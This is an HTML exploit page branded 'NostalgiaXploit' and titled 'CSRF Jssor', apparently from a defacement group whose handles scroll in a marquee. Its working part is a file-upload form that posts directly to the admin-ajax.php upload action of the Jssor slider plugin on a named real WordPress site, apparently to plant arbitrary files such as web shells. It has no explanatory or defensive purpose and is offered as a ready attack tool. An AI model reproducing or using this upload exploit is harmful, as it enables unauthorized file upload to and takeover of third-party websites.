CSRF Jssor

<html>
<head>
<iframe width="0" height="0" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/438186408&color=%23ff5500&auto_play=true&hide_related=false&show_comments=true&show_user=true&show_reposts=false&show_teaser=true&visual=true"></iframe>

<title>NostalgiaXploit</title><style type="text/css">* {cursor: url(http://cur.cursors-4u.net/cursors/cur-11/cur1025.ani), url(http://cur.cursors-4u.net/cursors/cur-11/cur1025.png), auto !important;}</style><a href="http://www.cursors-4u.com/cursor/2012/01/22/x-steel-unavailable.html" target="_blank" title="X-Steel - Unavailable"><img src="http://cur.cursors-4u.net/cursor.png" border="0" alt="X-Steel - Unavailable" style="position:absolute; top: 0px; right: 0px;" /></a>

<style type="text/css">
body{
background:url(http://i68.tinypic.com/2ecg5dv.gif) repeat center center fixed black;
}
</style>

<center><h1>
<font color='red'>[-]NostalgiaXploit[-]</font>
</h1></center>
<blink><marquee><span style="color:red;font-size:20;text-shadow: 0 0 3px white, 0px 0px 20px blue">Mr.L3gacy-./C3W3KBerB4T4n9-KATENBAND-Kizuka-./MR-GRun</span></marquee></blink>

<center><body>
<form action="http://www.betterimpact.com.au/wp-admin/admin-ajax.php?param=upload_slide&action=upload_library" method="POST" enctype="multipart/form-data" >
<input type="file" name="file" />
<input type="submit" value="Hajar" />
</form></center>
</body>
</html>